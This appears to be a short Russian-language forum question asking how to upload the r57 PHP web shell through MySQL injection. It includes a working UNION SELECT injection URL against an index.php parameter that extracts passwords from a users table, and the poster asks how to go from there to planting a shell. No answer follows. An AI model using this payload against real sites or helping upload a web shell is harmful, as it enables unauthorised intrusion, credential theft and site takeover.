как загрузить r57 через mysql inj


index.php?p=-1+union+select+1,password,3,4,5,6,7,8+from+users/*

это типа пароль узнать, а как шелл загрузить?